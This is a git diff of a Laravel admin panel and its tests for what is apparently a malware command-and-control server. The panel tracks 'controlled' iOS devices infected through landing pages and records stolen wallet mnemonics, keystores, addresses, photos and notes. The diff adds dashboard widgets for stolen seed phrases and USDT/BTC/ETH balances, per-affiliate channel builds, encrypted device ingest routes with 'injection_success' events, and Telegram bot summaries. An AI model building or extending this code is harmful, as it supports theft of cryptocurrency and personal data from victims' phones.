@@ -86,6 +68,8 @@ layui.use(['table', 'form', 'layer'], function () { var token = @json(csrf_token()); var updateBase = @json(url('/'.$portal.'/addresses')); + if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); + function chainTag(chain) { var raw = String(chain || 'UNKNOWN'); var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, ''); diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index 0de672c..3f7ce8e 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -7,26 +7,8 @@
-
- -
- -
-
- @if ($portal === 'admin') -
- -
- -
-
- @endif + @include('admin.partials.filter_channel_select') + @include('admin.partials.filter_agent_select')
@@ -48,13 +30,7 @@
@stack('scripts') diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 6969620..1cc7303 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -5,10 +5,51 @@ @section('content') @php $portal = $portal ?? 'admin'; @endphp
@@ -24,85 +65,131 @@
-
- -
- -
-
- @if ($portal === 'admin') -
- -
- -
-
- @endif + @include('admin.partials.filter_channel_select') + @include('admin.partials.filter_agent_select')
-
-
-
-
总设备数
-
—
+ +
+
+
总设备数
+
+
—
+ 有钱包设备/总设备
-
-
-
新增设备
-
—
+
+
新增设备
+
+
—
-
-
-
活跃设备
-
—
+
+
活跃设备
+
+
—
-
-
-
页面 PV
-
—
+
+
助记词
+
+
—
-
-
-
页面 UV
-
—
+
+
钱包地址
+
+
—
-
有效口径:iOS ≤ 17.2 且使用 Safari(左侧高亮 / 右侧为全部)
-
-
+ +
+
+
USDT
+
+
—
+
+
+
+
TRX
+
+
—
+
+
+
+
BTC
+
+
—
+
+
+
+
ETH
+
+
—
+
+
+
+
BNB
+
+
—
+
+
+
+ + +
+
+
页面 PV
+
+
—
+ 有效 PV/总 PV +
+
+
+
页面 UV
+
+
—
+ 有效 UV/总 UV +
+
+
+ +
+
-
按系统(PV / UV / 占比)
+
访问 · 按系统(UV / 占比)
- - + +
系统PVUV占比
—
系统UV占比
—
-
+
-
按 iOS 系统版本(PV / UV / 占比)
+
访问 · 按 iOS 版本(UV / 占比)
- - + + +
版本PVUV占比
—
版本UV占比
—
+
+
+
+
+
+
受控设备 · 系统版本分布
+
+ + +
版本设备数占比
—
@@ -124,9 +211,18 @@ layui.use(['form'], function () { var html = ''; (rows || []).forEach(function (r) { var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); - html += '' + (r.label || '—') + '' + r.pv + '' + r.uv + '' + pct + ''; + html += '' + (r.label || '—') + '' + r.uv + '' + pct + ''; }); - $(sel).html(html || '暂无'); + $(sel).html(html || '暂无'); + } + + function fillDeviceVersionRows(sel, rows) { + var html = ''; + (rows || []).forEach(function (r) { + var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); + html += '' + (r.label || '—') + '' + r.count + '' + pct + ''; + }); + $(sel).html(html || '暂无'); } function ratioHtml(effective, total) { @@ -138,13 +234,20 @@ layui.use(['form'], function () { function load(where) { $.getJSON(dataUrl, where || { range: '30d' }, function (res) { if (!res || res.code !== 0) return; - $('#dash-total').text(res.data.total); + $('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0)); $('#dash-new').text(res.data.new_count); $('#dash-active').text(res.data.active_count); + $('#dash-mnemonics').text(res.data.mnemonic_count || 0); + $('#dash-addresses').text(res.data.address_count || 0); $('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0)); $('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0)); + var bal = res.data.balances || {}; + ['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) { + $('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0'); + }); fillRows('#dash-by-os', res.data.by_os); fillRows('#dash-by-ios-version', res.data.by_ios_version); + fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version); $('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to); }); } @@ -154,6 +257,7 @@ layui.use(['form'], function () { return false; }); + if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); load({ range: '30d' }); }); diff --git a/resources/views/admin/devices/index.blade.php b/resources/views/admin/devices/index.blade.php index 00993c8..5bff77a 100644 --- a/resources/views/admin/devices/index.blade.php +++ b/resources/views/admin/devices/index.blade.php @@ -13,26 +13,8 @@
-
- -
- -
-
- @if ($portal === 'admin') -
- -
- -
-
- @endif + @include('admin.partials.filter_channel_select') + @include('admin.partials.filter_agent_select')
@@ -112,6 +94,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { var token = @json(csrf_token()); var updateBase = @json(url('/'.$portal.'/devices')); + if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); + laydate.render({ elem: '#LAY-device-installed-from', type: 'date' }); laydate.render({ elem: '#LAY-device-installed-to', type: 'date' }); @@ -125,7 +109,6 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { { field: 'id', title: 'ID', width: 80, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true }, { field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } }, - { field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } }, { field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } }, { field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } }, { field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } }, diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index d838399..e1a7a51 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -16,10 +16,6 @@ 渠道 ID {{ $device->channel_id ?: '—' }} - - 来源域名 - {{ $device->source_domain ?: '—' }} - 设备型号 {{ $device->device_model ?: '—' }} diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index dc05f8a..536fa1b 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -7,32 +7,14 @@
-
- -
- -
-
+ @include('admin.partials.filter_channel_select')
- @if ($portal === 'admin') -
- -
- -
-
- @endif + @include('admin.partials.filter_agent_select')
@@ -62,6 +44,7 @@ '); + $details = storage_path('app/channel-artifacts-test/details'); + if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) { + $this->fail('unable to create details dir'); + } + file_put_contents($details.'/show.html', 'show'); + return $dir; } @@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase Process::fake([ '*' => Process::result(output: $this->fakeBuildResult([ 'builder_type' => 'new', - 'channel_code' => self::NEW_CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, + 'channel_ver' => self::NEW_CHANNEL_ID, 'weifile_path' => null, 'support_path' => '', - 'details_path' => '/details/', - 'daily_path' => '/details/', - 'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', + 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID, 'domains' => ['deployment' => [], 'reporting' => []], ])), ]); @@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase $this->assertSame(Channel::BUILDER_NEW, $result['builder_type']); $this->assertNull($result['weifile_path']); - $this->assertSame('', $result['support_path']); - $this->assertSame('/details/', $result['daily_path']); - $this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']); + $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']); + $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']); + $this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']); + Process::assertRan(function ($process) { + $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + + return str_contains($joined, 'build.py') + && str_contains($joined, '--channel-c') + && str_contains($joined, '33333333333333333333333333333333') + && str_contains($joined, '--apply') + && ! str_contains($joined, '--random-c'); + }); Process::assertRan(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, 'pack_channel.py') - && str_contains($joined, '--channel-code') + && str_contains($joined, '--channel-ver') && str_contains($joined, self::NEW_CHANNEL_ID) - && ! str_contains($joined, 'build.py') - && ! str_contains($joined, '--apply'); + && str_contains($joined, '--channel-out') + && str_contains($joined, '--landing-template') + && str_contains($joined, 'test'); }); } #[Test] - public function new_builder_requires_staged_weifile(): void + public function new_builder_requires_env_channel_c(): void { - $index = storage_path('app/channel-builder-new-test/out/weifile/index.js'); - if (is_file($index)) { - unlink($index); - } + config(['coruna.xxbb.channel_c' => '']); $this->expectException(RuntimeException::class); - $this->expectExceptionMessage('请先运行构建脚本'); + $this->expectExceptionMessage('XXBB_CHANNEL_C'); app(ChannelProjectService::class)->generate( self::NEW_CHANNEL_ID, @@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase Process::fake([ '*' => Process::result(output: $this->fakeBuildResult([ 'builder_type' => 'new', - 'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', + 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID, ])), ]); @@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase } #[Test] - public function support_links_use_weifile_path_for_new_builder(): void + public function support_links_use_channel_path_for_new_builder(): void { $channel = new Channel([ 'channel_id' => self::NEW_CHANNEL_ID, 'builder_type' => Channel::BUILDER_NEW, 'domains' => ['channel.test'], ]); - $this->assertSame([], $channel->supportLinks()); - $this->assertSame('/weifile/weifile.html', $channel->landingPath()); + $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath()); + $this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks()); } #[Test] - public function store_new_builder_returns_zip_path(): void + public function store_new_builder_returns_channel_dir(): void { $this->stageFakeWeifile(); Process::fake([ '*' => Process::result(output: $this->fakeBuildResult([ 'weifile_path' => null, 'support_path' => '', - 'details_path' => '/details/', - 'daily_path' => '/details/', - 'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', + 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID, ])), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); @@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.builder_type', Channel::BUILDER_NEW) - ->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip'); + ->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID) + ->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'); $channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first(); $this->assertNotNull($channel); $this->assertSame(Channel::BUILDER_NEW, $channel->builderType()); $this->assertNull($response->json('data.weifile_path')); - $this->assertNotEmpty($response->json('data.download_url')); + $this->assertNull($response->json('data.zip_path')); + $this->assertNull($response->json('data.download_url')); Process::assertRan(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, 'pack_channel.py') - && str_contains($joined, self::NEW_CHANNEL_ID) - && ! str_contains($joined, 'build.py'); + && str_contains($joined, self::NEW_CHANNEL_ID); }); } #[Test] - public function destroy_new_builder_deletes_zip_not_details(): void + public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void { Process::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); @@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase 'user_id' => 0, 'status' => 1, ]); - $zipDir = storage_path('app/channel-artifacts-test/channel-source-new'); - if (! is_dir($zipDir)) { - mkdir($zipDir, 0775, true); + $channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID); + if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) { + $this->fail('unable to create channel weifile dir'); } - $zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip'; - file_put_contents($zip, 'zip'); + if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) { + $this->fail('unable to create channel dir'); + } + file_put_contents($channelDir.'/weifile/weifile.html', 'landing'); $details = storage_path('app/channel-artifacts-test/details'); if (! is_dir($details)) { mkdir($details, 0775, true); @@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase return str_contains($joined, 'delete_channel.py') || str_contains($joined, 'delete_channel_web.py'); }); - $this->assertFileDoesNotExist($zip); + $this->assertDirectoryDoesNotExist($channelDir); $this->assertFileExists($details.'/show.html'); $this->assertDatabaseMissing('channels', ['id' => $channel->id]); } #[Test] - public function reserved_names_cannot_be_new_channel_ids(): void + public function version_format_required_for_new_channel_ids(): void { - $this->assertNull(Channel::normalizeNewChannelId('ADMIN')); - $this->assertNull(Channel::normalizeNewChannelId('weifile')); - $this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988')); + $this->assertNull(Channel::normalizeNewChannelId('FAFA9988')); + $this->assertNull(Channel::normalizeNewChannelId('2.2.6')); + $this->assertNull(Channel::normalizeNewChannelId('22.2.66')); + $this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07')); + $this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66')); + $this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1')); + $this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0')); } } diff --git a/tests/Feature/FilterOptionsTest.php b/tests/Feature/FilterOptionsTest.php new file mode 100644 index 0000000..511db49 --- /dev/null +++ b/tests/Feature/FilterOptionsTest.php @@ -0,0 +1,104 @@ +create(['username' => 'admin', 'password' => 'admin123']); + Channel::query()->create([ + 'channel_id' => '0.0.01', + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => Channel::OFFICIAL_USER_ID, + 'status' => 1, + 'remark' => '测试', + ]); + Channel::query()->create([ + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => Channel::OFFICIAL_USER_ID, + 'status' => 1, + 'remark' => null, + ]); + + Cache::flush(); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.filterOptions.channels')) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试']) + ->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']); + + $this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN)); + } + + #[Test] + public function admin_agent_options_include_comment_label(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $agent = User::query()->create([ + 'username' => 'agent1', + 'password' => 'secret12', + 'status' => 1, + 'comment' => '华东', + ]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.filterOptions.agents')) + ->assertOk() + ->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']); + } + + #[Test] + public function agent_only_sees_own_channels(): void + { + $agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]); + $other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create([ + 'channel_id' => '1.0.01', + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => $agent->id, + 'status' => 1, + 'remark' => '我的', + ]); + Channel::query()->create([ + 'channel_id' => '2.0.01', + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => $other->id, + 'status' => 1, + 'remark' => '别人的', + ]); + + $this->actingAs($agent, 'agent') + ->getJson(route('user.filterOptions.channels')) + ->assertOk() + ->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的']) + ->assertJsonMissing(['value' => '2.0.01']); + } + + #[Test] + public function channel_save_busts_options_cache(): void + { + Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300); + Channel::query()->create([ + 'channel_id' => '3.0.01', + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => 0, + 'status' => 1, + ]); + $this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN)); + } +} diff --git a/tests/Feature/NewBuilderIngestTest.php b/tests/Feature/NewBuilderIngestTest.php index 72c0edf..ce28ea1 100644 --- a/tests/Feature/NewBuilderIngestTest.php +++ b/tests/Feature/NewBuilderIngestTest.php @@ -4,10 +4,8 @@ namespace Tests\Feature; use App\Models\Channel; use App\Models\Device; -use App\Models\PageVisit; use App\Services\CorunaCrypto; use Illuminate\Foundation\Testing\RefreshDatabase; -use Illuminate\Support\Facades\Cache; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b'; - private const CHANNEL_ID = 'FAFA9988'; + private const CHANNEL_ID = '3.1.07'; - private function xxbbPost(string $path, array $payload, string $ts = '1786468227899') + private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = []) { $enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts); - - return $this->call('POST', $path, [], [], [], [ + $server = array_merge([ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, - ], $enc['body']); + ], $headers); + + return $this->call('POST', $path, [], [], [], $server, $enc['body']); } #[Test] - public function new_builder_device_uses_recent_visit_not_native_c(): void + public function core_routes_write_channel_from_ver_header(): void { Channel::query()->create([ 'channel_id' => self::CHANNEL_ID, @@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase 'user_id' => 0, 'status' => 1, ]); - Cache::flush(); - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - 'REMOTE_ADDR' => '203.0.113.9', - ], json_encode([ - 'channelCode' => 'fafa9988', - 'deviceVersion' => 'iOS 16.6', - 'domain' => 'landing.example', - 'sessionId' => '11111111-2222-4333-8444-555555555555', - ]))->assertOk(); - $this->call('POST', '/event', [], [], [], [ - 'CONTENT_TYPE' => 'text/plain', - 'HTTP_X_TS' => '1786468227899', - 'REMOTE_ADDR' => '203.0.113.9', - ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ + $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', 'm' => 'iPhone12,8', 'pv' => '16.6', - ], '1786468227899')['body'])->assertOk(); + ], '1786468227899', [ + 'HTTP_VER' => self::CHANNEL_ID, + 'HTTP_SDKV' => self::CHANNEL_ID, + ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame(self::CHANNEL_ID, $device->channel_id); - $this->assertSame('landing.example', $device->source_domain); $this->assertNotSame(self::SHARED_C, $device->channel_id); } #[Test] - public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void + public function core_routes_prefer_ver_over_sdkv(): void { - Channel::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'builder_type' => Channel::BUILDER_NEW, - 'user_id' => 0, - 'status' => 1, - ]); - PageVisit::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'client_uid' => 'landing.example', - 'ip' => '203.0.113.9', - 'domain' => 'landing.example', - 'created_at' => now(), - ]); + $this->xxbbPost('/a', [ + 'd' => '000C30D83CD0402E', + 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], + ], '1786468227899', [ + 'HTTP_VER' => '4.2.01', + 'HTTP_SDKV' => '5.5.55', + ])->assertOk(); - $this->call('POST', '/event', [], [], [], [ - 'CONTENT_TYPE' => 'text/plain', - 'HTTP_X_TS' => '1786468227899', - 'REMOTE_ADDR' => '2001:db8::9', - ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertSame('4.2.01', $device->channel_id); + } + + #[Test] + public function core_routes_accept_sdkv_when_ver_missing(): void + { + $this->xxbbPost('/u', [ 'd' => '000C30D83CD0402E', 'c' => self::SHARED_C, - 'et' => 'injection_success', - ], '1786468227899')['body'])->assertOk(); + 'al' => [], + ], '1786468227899', [ + 'HTTP_SDKV' => self::CHANNEL_ID, + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertSame(self::CHANNEL_ID, $device->channel_id); + } + + #[Test] + public function non_core_routes_do_not_write_channel_id(): void + { + $this->xxbbPost('/uj', [ + 'd' => '000C30D83CD0402E', + 'a' => 'b', + 'result' => 'abandon ability able about above absent absorb abstract absurd abuse access', + ], '1786468227899', [ + 'HTTP_VER' => self::CHANNEL_ID, + 'HTTP_SDKV' => self::CHANNEL_ID, + ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); - $this->assertSame(self::CHANNEL_ID, $device->channel_id); - $this->assertSame('landing.example', $device->source_domain); - $this->assertSame('2001:db8::9', $device->ip); + $this->assertNull($device->channel_id); } #[Test] - public function new_builder_device_matches_ipv4_mapped_ipv6(): void - { - Channel::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'builder_type' => Channel::BUILDER_NEW, - 'user_id' => 0, - 'status' => 1, - ]); - PageVisit::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'client_uid' => 'landing.example', - 'ip' => '::ffff:203.0.113.9', - 'domain' => 'landing.example', - 'created_at' => now(), - ]); - - $this->call('POST', '/event', [], [], [], [ - 'CONTENT_TYPE' => 'text/plain', - 'HTTP_X_TS' => '1786468227899', - 'REMOTE_ADDR' => '203.0.113.9', - ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ - 'd' => '000C30D83CD0402E', - 'c' => self::SHARED_C, - 'et' => 'injection_success', - ], '1786468227899')['body'])->assertOk(); - - $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $this->assertSame(self::CHANNEL_ID, $device->channel_id); - } - - #[Test] - public function new_builder_device_without_visit_is_still_created(): void + public function core_without_ver_headers_still_creates_device(): void { $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', @@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase $this->assertNull($device->source_domain); } + #[Test] + public function invalid_ver_header_does_not_write_channel_id(): void + { + $this->xxbbPost('/event', [ + 'd' => '000C30D83CD0402E', + 'c' => self::SHARED_C, + 'et' => 'injection_success', + ], '1786468227899', [ + 'HTTP_VER' => 'FAFA9988', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNull($device->channel_id); + } + #[Test] public function old_builder_put_still_writes_payload_c(): void { @@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase } #[Test] - public function claimed_visit_is_not_reused_by_second_device(): void + public function later_core_request_fills_empty_channel_id(): void { - Channel::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'builder_type' => Channel::BUILDER_NEW, - 'user_id' => 0, - 'status' => 1, - ]); - PageVisit::query()->create([ - 'channel_id' => self::CHANNEL_ID, - 'client_uid' => 'landing.example', - 'ip' => '127.0.0.1', - 'domain' => 'landing.example', - 'created_at' => now(), - ]); - $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', ])->assertOk(); - $this->xxbbPost('/event', [ - 'd' => '111C30D83CD0402E', - 'c' => self::SHARED_C, - 'et' => 'injection_success', + + $this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id')); + + $this->xxbbPost('/a', [ + 'd' => '000C30D83CD0402E', + 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], + ], '1786468227900', [ + 'HTTP_VER' => self::CHANNEL_ID, ])->assertOk(); - $first = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $second = Device::query()->where('device_id', '111C30D83CD0402E')->first(); - $this->assertSame(self::CHANNEL_ID, $first->channel_id); - $this->assertNull($second->channel_id); - $this->assertNotNull($second); + $this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id')); } } diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index c9d8d32..6c55a17 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -16,6 +16,23 @@ class PageVisitTest extends TestCase private const CHANNEL = 'fe398bc1add87202c04c27293a032634'; + #[Test] + public function hit_records_new_builder_version_channel(): void + { + Cache::flush(); + $channel = '3.1.07'; + + $this->call('GET', '/statistic/t', [ + 'c' => $channel, + 'u' => '11111111-2222-4333-8444-555555555555', + 'p' => '/channel/'.$channel.'/weifile/weifile.html', + ])->assertOk(); + + $row = PageVisit::query()->first(); + $this->assertNotNull($row); + $this->assertSame($channel, $row->channel_id); + } + #[Test] public function hit_records_visit_with_parsed_ua(): void { @@ -209,10 +226,10 @@ class PageVisitTest extends TestCase ->assertJsonPath('data.effective_pv', 3) ->assertJsonPath('data.effective_uv', 2) ->assertJsonPath('data.by_os.0.label', 'iOS') - ->assertJsonPath('data.by_os.0.pv', 5) + ->assertJsonPath('data.by_os.0.uv', 4) ->assertJsonPath('data.by_os.1.label', '其他') - ->assertJsonPath('data.by_os.1.pv', 1) - ->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]); + ->assertJsonPath('data.by_os.1.uv', 1) + ->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]); } #[Test] diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index 9e45a49..1b2ffea 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $text = $last['text'] ?? ''; $this->assertStringContainsString('页面 PV: 1 / 2', $text); + $this->assertStringContainsString('设备与资产', $text); + $this->assertStringContainsString('总余额', $text); + $this->assertStringContainsString('助记词', $text); + $this->assertStringContainsString('受控设备 · 系统版本', $text); $this->assertStringContainsString('按 iOS 版本', $text); $this->assertStringContainsString($channel, $text); } diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index 2f253a9..7018986 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -6,7 +6,6 @@ use App\Models\Device; use App\Models\DeviceApp; use App\Models\DeviceEvent; use App\Models\Note; -use App\Models\PageVisit; use App\Models\Photo; use App\Models\WalletAddress; use App\Models\WalletKeystore; @@ -14,7 +13,6 @@ use App\Models\WalletMnemonic; use App\Services\CorunaCrypto; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Http\UploadedFile; -use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Storage; use PHPUnit\Framework\Attributes\Test; @@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase $this->call('HEAD', '/vhx')->assertOk(); } - #[Test] - public function iptj_records_page_visit(): void - { - Cache::flush(); - $ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1'; - - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - 'HTTP_USER_AGENT' => $ua, - ], json_encode([ - 'channelCode' => '56885688', - 'deviceVersion' => 'iOS 16.6', - 'domain' => 'xxbb.tv', - ]))->assertOk(); - - $row = PageVisit::query()->first(); - $this->assertNotNull($row); - $this->assertSame('56885688', $row->channel_id); - $this->assertSame('xxbb.tv', $row->domain); - $this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid); - $this->assertNotSame('xxbb.tv', $row->client_uid); - $this->assertSame('iOS', $row->os); - $this->assertSame('16.6', $row->os_version); - $this->assertNull($row->session_id); - } - - #[Test] - public function iptj_prefers_ua_patch_over_coarse_device_version(): void - { - Cache::flush(); - $ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1'; - - $this->call('POST', '/api/iptj', [], [], [], [ - 